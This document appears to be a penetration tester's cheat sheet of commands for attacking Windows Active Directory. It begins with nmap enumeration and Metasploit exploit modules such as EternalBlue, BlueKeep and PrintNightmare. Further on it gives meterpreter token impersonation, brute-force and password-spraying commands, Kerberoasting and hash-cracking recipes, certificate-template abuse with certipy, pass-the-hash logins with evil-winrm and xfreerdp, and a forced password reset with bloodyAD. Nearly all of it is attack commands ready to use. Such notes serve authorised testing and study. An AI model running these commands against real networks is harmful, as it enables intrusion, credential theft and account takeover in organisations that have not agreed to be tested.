nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49152-65535 -A $IP # Basic AD Port Scan
nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49152-65535 --script smb-enum-shares,smb-enum-users,ldap-rootdse,ldap-search,krb5-enum-users,smb-os-discovery,smb-vuln-ms17-010,smb-enum-domains,smb-enum-sessions,smb-enum-processes,smb2-security-mode,smb2-capabilities,smb-system-info,msrpc-enum,smb-brute,rdp-enum-encryption,rdp-vuln-ms12-020,rdp-ntlm-info,ssl-cert,ssl-enum-ciphers,smb-protocols,ms-sql-info,smb-vuln-regsvc-dos $IP # All Scripts for All AD Ports
nmap -p 445 --script smb-enum-shares,smb-enum-users $IP # SMB Enumeration
nmap -p 389 --script ldap-rootdse,ldap-search,ldap-novell-getpass $IP # LDAP Enumeration
nmap -p 389,636 --script ldap-search --script-args 'ldap.username=<user>,ldap.password=<password>,ldap.qfilter="(objectClass=*)",ldap.searchdn="DC=example,DC=com"' $IP # AD Domain Controllers Enumeration
nmap -p 88 --script krb5-enum-users $IP # Kerberos Enumeration
nmap -p 5985 --script http-winrm-info $IP # WinRM Enumeration
nmap --script smb-os-discovery -p 445 $IP # OS Discovery
nmap --script smb-vuln-ms17-010 -p 445 $IP # SMB Vulnerability Check (EternalBlue)
nmap --script smb-enum-domains -p 445 $IP # Enumerate AD Domains
nmap --script smb-enum-sessions -p 445 $IP # Enumerate SMB Sessions
nmap --script smb-enum-processes -p 445 $IP # Enumerate Processes over SMB
nmap --script smb2-security-mode -p 445 $IP # SMB2 Security Mode
nmap --script smb2-capabilities -p 445 $IP # SMB2 Capabilities
nmap --script smb-system-info -p 445 $IP # System Information via SMB
nmap --script msrpc-enum -p 135 $IP # RPC Enumeration
nmap -p 135 --script msrpc-enum $IP # Microsoft RPC Enumeration
nmap --script smb-brute -p 445 $IP # SMB Brute Force

# DNS (Port 53)
- auxiliary/gather/enum_dns  # Enumerate DNS information
- auxiliary/scanner/dns/dns_amp  # DNS amplification attack
- auxiliary/scanner/dns/dns_cache_scraper  # Scrape DNS cache

# Kerberos (Port 88)
- auxiliary/gather/kerberos_enumusers  # Enumerate users via Kerberos
- auxiliary/gather/kerberos_enum_tgs  # Enumerate Kerberos TGS tickets
- auxiliary/scanner/kerberos/kerberos_as_req  # Kerberos AS-REQ scanner (AS-REP Roasting)
- auxiliary/scanner/kerberos/kerberos_ticket_granting_service  # Enumerate SPNs for Kerberoasting

# MS-RPC (Port 135)
- exploit/windows/dcerpc/ms03_026_dcom  # Exploit MS-RPC DCOM vulnerability
- exploit/windows/dcerpc/ms17_010_eternalblue  # Exploit MS17-010 EternalBlue

# NetBIOS (Port 137-139)
- auxiliary/scanner/netbios/nbname  # NetBIOS name service scanner
- auxiliary/scanner/smb/smb_version  # SMB version scanner
- auxiliary/scanner/smb/smb_login  # Brute-force SMB login
- exploit/windows/smb/smb_relay  # SMB relay attack

# LDAP (Port 389)
- auxiliary/gather/ldap_enum  # LDAP enumeration
- auxiliary/gather/ldap_hashdump  # Dump hashes from LDAP
- auxiliary/admin/ldap/ldap_add_user  # Add user to LDAP server
- exploit/windows/ldap/ldap_pass_the_hash  # Pass-the-Hash for LDAP

# SMB (Port 445)
- auxiliary/scanner/smb/smb_enumshares  # Enumerate SMB shares
- auxiliary/scanner/smb/smb_enumusers  # Enumerate SMB users
- auxiliary/scanner/smb/smb_login  # SMB login brute-force
- exploit/windows/smb/ms17_010_psexec  # Exploit EternalBlue (psexec shell)
- exploit/windows/smb/ms08_067_netapi  # Exploit SMB MS08-067 vulnerability
- auxiliary/scanner/smb/smb_ms17_010  # Scan for MS17-010 vulnerability

# LDAPS (Port 636)
- auxiliary/scanner/ldap/ldap_search  # LDAP search over SSL
- auxiliary/gather/ldap_query  # Perform LDAP queries

# Global Catalog (Port 3268-3269)
- auxiliary/scanner/ldap/ldap_rootdse  # LDAP RootDSE information gathering

# RDP (Port 3389)
- auxiliary/scanner/rdp/rdp_scanner  # Basic RDP scanner
- auxiliary/scanner/rdp/rdp_enumcredssp  # Enumerate RDP CredSSP
- auxiliary/scanner/rdp/cve_2019_0708_bluekeep  # Scan for BlueKeep vulnerability (CVE-2019-0708)
- auxiliary/scanner/rdp/rdp_login  # Brute-force RDP logins
- exploit/windows/rdp/cve_2019_0708_bluekeep_rce  # Exploit BlueKeep (CVE-2019-0708)

# Windows Privilege Escalation
- exploit/windows/local/bypassuac  # Bypass UAC on Windows systems
- exploit/windows/local/ask  # Escalate privileges via the AlwaysInstallElevated policy
- exploit/windows/local/ms10_092_schelevator  # Exploit Task Scheduler Vulnerability (MS10-092)
- exploit/windows/local/ms16_032_secondary_logon_handle_privesc  # Escalate via Secondary Logon Handle (MS16-032)
- exploit/windows/local/ms14_058_track_popup_menu  # Kernel mode vulnerability exploit (MS14-058)
- exploit/windows/local/cve_2020_0787_bits  # Windows BITS Elevation of Privilege (CVE-2020-0787)
- exploit/windows/local/cve_2021_1675_printnightmare  # Windows Print Spooler Exploit (PrintNightmare CVE-2021-1675)
- exploit/windows/local/ms15_051_client_copy_image  # Exploit Client Copy Image Vulnerability (MS15-051)

# Generic Privilege Escalation Techniques
- post/multi/recon/local_exploit_suggester  # Suggest potential local exploits for privilege escalation
- exploit/multi/local/ntfs_priv_esc  # Escalate privileges by abusing NTFS vulnerability
- exploit/windows/local/cve_2021_1732_win32k  # Exploit Windows Win32k Privilege Escalation (CVE-2021-1732)

meterpreter> load incognito 
meterpreter> list_tokens -u # listing tokens
meterpreter> impersonate_token USERNAME\\Administrator
meterpreter> shell #now you can use shell as USERNAME\\Administrator
meterpreter> rev2self # Used to revert to original token. Useful to clean up impersonation.

enum4linux -a -u "" -p "" <DC IP>  # Enumerate Users and Shares with blank user pass
enum4linux -a -u "guest" -p "" <DC IP> # Enumerate Users and Shares with Guest Access
enum4linux -G <DC IP>  # Retrieve Group Memberships
enum4linux -P <DC IP>  # Retrieve Password Policies

smbmap -u "" -p "" -P 445 -H <DC IP> # Enumerate SMB Shares with blank user pass
smbmap -u "guest" -p "" -P 445 -H <DC IP> # Enumerate SMB Shares with Guest Access
smbmap -u "guest" -p "" -P 445 -H <DC IP> -R # List Permissions on Shares
smbmap -u "guest" -p "" -P 445 -H <DC IP> -w /path/to/local/file -d /remote/share/directory   # Upload a File to a Writable Share

smbclient -U '%' -L //<DC IP>  # Enumerate SMB Shares with blank user pass
smbclient -U 'guest%' -L //<DC IP>   # Enumerate SMB Shares with Guest Access 
smbclient -L \\\\10.10.10.101\\   # Check if Anonymous Access is Enabled
smbclient -L \\\\10.10.10.101\\username  # Login as a Specific User
smb: > mget *   # Download All Files from a Share
smbclient -L \\\\10.10.10.101\\ -m SMB2   # Check SMB Signing
smbclient -U 'admin%' -L //<DC IP>/C$   # Enumerate Access to Admin Shares
smbclient //10.8.0.2/Users -U guest    # Login as guest

usage: targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--request-user username] [-o OUTPUT_FILE] [--use-ldaps] [--only-abuse] [--no-abuse] [--dc-ip ip address] [-d DOMAIN] [-u USER] [-k] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]

python3 targetedKerberoast.py -v -d 'domain.htb' -u username -p password # example command

timeroast.py 10.0.0.42 | tee ntp-hashes.txt # Extract sntp hashes
hashcat -m 31300 ntp-hashes.txt # hashcat sntp crack

kerbrute userenum -t 1000 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc 192.168.1.19 -d domain.tld #userenum
kerbrute passwordspray -t 250 --dc 192.168.1.19 -d domain.tld users.txt Password@1 #user bruteforce with known password
kerbrute bruteuser -t 250 --dc 192.168.1.19 -d domain.tld password.txt admin #password bruteforce with known username

.\KrbRelayUp.exe  # Run KrbRelayUp without parameters (default attack mode)
.\KrbRelayUp.exe -u <username> -d <domain> -p <password>  # Specify credentials for relay attack
.\KrbRelayUp.exe -spn <service_principal_name>  # Perform relay attack targeting specific SPN
.\KrbRelayUp.exe -dc  # Elevate privileges by relaying to the domain controller

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -O # ntlm hash crack
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt -O # sam hash crack
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt -O # login token crack krbtgt
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt -O # kerberoas Aspreroast
hashcat -m 31300 ntp-hashes.txt /usr/share/wordlists/rockyou.txt -O # hashcat sntp crack

john --format=netntlm hash.txt --wordlist=/opt/wordlists/rockyou.txt # ntlm crack
john --format=NT hash.txt --wordlist=/opt/wordlists/rockyou.txt # sam hash crack
john --wordlist=/opt/wordlists/rockyou.txt hash # login token crack krbtgt

hydra -L <user_list.txt> -P <password_list.txt> <target_IP> rdp   # RDP Bruteforce
hydra -L <user_list.txt> -P <password_list.txt> <target_IP> ldap # LDAP bruteforce
hydra -L <user_list.txt> -P <password_list.txt> <target_IP> smb # SMB bruteforce
hydra -L <user_list.txt> -P <password_list.txt> <target_IP> ssh # ssh bruteforce
hydra -L <user_list.txt> -P <password_list.txt> <target_IP> ftp # ftp bruteforce
hydra -l <username> -P <password_list.txt> -s <port> <target_IP> <service> # for custom ports
hydra -l <username> -P <password_list.txt> <target_IP> http-form-post "/login.php:user=^USER^&pass=^PASS^:F=incorrect"  #http can replace with http-get, https-post, https-get based on request type

ldapsearch -x -h <host> -b "<base_dn>" "<search_filter>"  # Basic search in LDAP directory
ldapsearch -x -h <host> -b "<base_dn>" "<search_filter>" <attribute1> <attribute2>  # Search with specific attributes
ldapsearch -D "<bind_dn>" -w <password> -x -h <host> -b "<base_dn>" "<search_filter>"  # Search with authentication
ldapsearch -x -H ldaps://<host> -b "<base_dn>" "<search_filter>"  # Search using TLS for secure connection
ldapsearch -x -h <host> -b "ou=Users,<base_dn>" "(uid=<username>)"  # Search for specific user by UID
ldapsearch -x -h <host> -b "ou=Groups,<base_dn>" "(cn=<groupname>)"  # Search for specific group by common name
ldapsearch -x -h <host> -b "<base_dn>" "(objectClass=*)"  # Retrieve all entries in the directory
ldapsearch -x -h <host> -b "<base_dn>" -z <number_of_results> "<search_filter>"  # Limit search results to a specified number
ldapsearch -x -h <host> -b "<base_dn>" "<search_filter>" > results.txt  # Save search results to a file
ldapsearch -x -h <host> -b "<base_dn>" "<search_filter>" -LLL  # Display results in LDIF format (no comments)

ldapdomaindump -u <domain>\<username> -p <password> <target_ip>  # Perform a full LDAP domain dump with credentials
ldapdomaindump -u <domain>\<username> -p <password> -o <output_directory> <target_ip>  # Specify output directory for dumped files
ldapdomaindump --hashes <LMHASH>:<NTHASH> <target_ip>  # Perform a dump using NTLM hashes instead of plaintext credentials
ldapdomaindump --no-json --no-grep --no-html <target_ip>  # Disable output in JSON, grepable, and HTML formats (output only raw dump)
ldapdomaindump -u <domain>\<username> -p <password> -d <target_domain> <target_ip>  # Dump information from a specific domain

## 🧭 Find Vulnerable Certificate Templates
certipy find -u <user> -p <pass> -dc-ip <ip>
## 🧾 Request a Certificate (ESC1)
certipy req -u <user> -p <pass> -ca <ca-name> -template <template-name> -dc-ip <ip>
## 🔐 Authenticate Using a Certificate
certipy auth -pfx <cert.pfx> -dc-ip <ip>
## 🎭 Request Certificate for Another User (ESC6)
certipy req -u <user> -p <pass> -ca <ca-name> -template <template> -upn <target@domain> -dc-ip <ip>
## 🕵️ List Certificate Authorities
certipy ca -u <user> -p <pass> -dc-ip <ip>
## 📜 Extract Certificate Information from .pfx
certipy cert -pfx <cert.pfx>
## 🪪 Get TGT Using Certificate (PKINIT)
certipy auth -pfx <cert.pfx> -dc-ip <ip> --get-tgt
## 🔁 Get TGT (Alternative PKINIT for ESC8)
certipy auth -pfx <cert.pfx> -dc-ip <ip> --alt --get-tgt
## 🧬 Shadow Credentials (ESC8)
certipy shadow -u <user> -p <pass> -target <target-user> -dc-ip <ip>
## 🗃️ Dump Certificate Data from Target User
certipy dump -u <user> -p <pass> -target <target-user> -dc-ip <ip>
## 📤 Convert .pfx to .pem or Extract Cert Only
certipy cert -pfx <cert.pfx> -nokeys -out cert.pem

nxc smb <DOMAIN/IP> -u 'username' -p 'password' --rid-brute | grep "SidTypeUser" | awk -F '\\' '{print $2}' | awk '{print $1}' > users.txt
nxc smb <DOMAIN/IP> -u 'username' -p 'password' --users
nxc smb <DOMAIN/IP> -u 'username' -p 'password' --users -k

rpcclient -U "" <target_ip>  # Null session connection
rpcclient -U "" -N <target_ip> #empty username (-U "") #no password (-N)
rpcclient -U "<username>%<password>" <target_ip>  # Authenticated connection with username and password
rpcclient -U "<domain>/<username>%<password>" <target_ip>  # Domain authenticated connection

rpcclient <target_ip> -c "srvinfo"  # Get server information
rpcclient <target_ip> -c "enumdomusers"  # Enumerate domain users
rpcclient <target_ip> -c "enumdomgroups"  # Enumerate domain groups
rpcclient <target_ip> -c "querydominfo"  # Query domain information
rpcclient <target_ip> -c "lsaquery"  # Get security identifier (SID)
rpcclient <target_ip> -c "lookupnames <username>"  # Get SID of a specific user
rpcclient <target_ip> -c "lookupnames <groupname>"  # Get SID of a specific group
rpcclient <target_ip> -c "samrlookupnames <username>"  # Get RID (Relative ID) of a specific user
rpcclient <target_ip> -c "enumprivs"  # Enumerate privileges
rpcclient <target_ip> -c "getdompwinfo"  # Get password policy information
rpcclient <target_ip> -c "querygroupmem <group_rid>"  # List members of a specific group by RID
rpcclient <target_ip> -c "netshareenum"  # Enumerate shared resources
rpcclient <target_ip> -c "netsharegetinfo <sharename>"  # Get information on a specific share
rpcclient <target_ip> -c "lsaenumsid"  # Enumerate all SIDs
rpcclient <target_ip> -c "lsaquerytrustdom"  # Query trusted domains
rpcclient <target_ip> -c "enumalsgroups"  # Enumerate alias groups
rpcclient <target_ip> -c "lsaenumacctrights <SID>"  # Enumerate account rights for a given SID

# 1. Connecting Using a Pass-the-Hash Attack
evil-winrm -i domain.target -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0
# 2. Basic Connection Using Username and Password
evil-winrm -i domain.target -u Administrator -p 'password123'
# 3. Connecting with Kerberos Authentication
evil-winrm -i domain.target -u Administrator -r DOMAIN.LOCAL -k
# 4. Specifying a Custom Port
evil-winrm -i domain.target -u Administrator -H 0e0363213e37b94221497260b0bcb4fc -p 5985
# 5. Running with Proxy Settings
evil-winrm -i domain.target -u Administrator -H 0e0363213e37b94221497260b0bcb4fc --proxy http://proxy.domain.local:8080
# 6. Executing Commands and Uploading Files
evil-winrm -i domain.target -u Administrator -H 0e0363213e37b94221497260b0bcb4fc -s scripts -e command.ps1
# 7. Running PowerShell Scripts on the Remote Machine
evil-winrm -i domain.target -u Administrator -H 0e0363213e37b94221497260b0bcb4fc -s /path/to/powershell/script.ps1
# 8. Brute-Force a List of Passwords
evil-winrm -i domain.target -u Administrator -P password_list.txt
# 9. Connecting with Kerberos Ticket (Pass-the-Ticket)
export KRB5CCNAME=/path/to/krb5cc
evil-winrm -i domain.target -u Administrator -r DOMAIN.LOCAL -k
# 10. Changing the Working Directory
evil-winrm -i domain.target -u Administrator -H 0e0363213e37b94221497260b0bcb4fc -c C:\Users\Administrator\Desktop

ncrack -p 3389 <target_ip>  # Brute force RDP login on the default port
ncrack -p 3389 --user <username> -P <password_file> <target_ip>  # Brute force RDP login with a password list
ncrack -p 3389 --user <username_file> --pass <password_file> <target_ip>  # Brute force RDP with username and password lists
ncrack -p 3389 --user <username> --pass <password> <target_ip>  # Brute force RDP login with a specific username and password
ncrack -p 3389 --delay 5ms --user <username_file> --pass <password_file> <target_ip>  # Add delay between connection attempts

./rdpscan <target_ip>  # Scan for BlueKeep (CVE-2019-0708) vulnerability
./rdpscan --file <ip_list.txt>  # Scan multiple IP addresses from a file for BlueKeep
./rdpscan --port <port_number> <target_ip>  # Scan a specific port for RDP vulnerabilities
./rdpscan --safe <target_ip>  # Perform a safe scan without causing service disruption

xfreerdp /u:<username> /p:<password> /v:<target_ip>  # Connect to an RDP server with username and password
xfreerdp /u:<username> /p:<password> /v:<target_ip>:<port>  # Connect to an RDP server on a specific port
xfreerdp /u:<username> /pth:<NTLM_hash> /v:<target_ip>  # Pass-the-Hash (PTH) RDP connection
xfreerdp /u:<username> /dynamic-resolution /multimon /v:<target_ip>  # Enable multi-monitor support and dynamic resolution

# Command
./adalanche collect activedirectory --domain <Domain> \
--username <Username@Domain> --password <Password> \
--server <DC>

# LDAP Result Code 200 "Network Error": x509: certificate signed by unknown authority

./adalanche collect activedirectory --domain domain.local \
--username [email protected] --password 'password123!' \
--server dc.domain.local --tlsmode NoTLS --port 389

# Invalid Credentials 
./adalanche collect activedirectory --domain domain.local \
--username [email protected] --password 'password123!' \
--server dc.domain.local --tlsmode NoTLS --port 389 \
--authmode basic

./adalanche analyze
# go to web browser -> 127.0.0.1:8080

autobloody -u john.doe -p 'Password123!' --host 192.168.10.2 -dp 'neo4jP@ss' -ds '[email protected]' -dt 'BLOODY.LOCAL'
bloodyAD --host 172.16.1.15 -d bloody.local -u jane.doe -p :70016778cb0524c799ac25b439bd6a31 set password john.doe 'Password123!'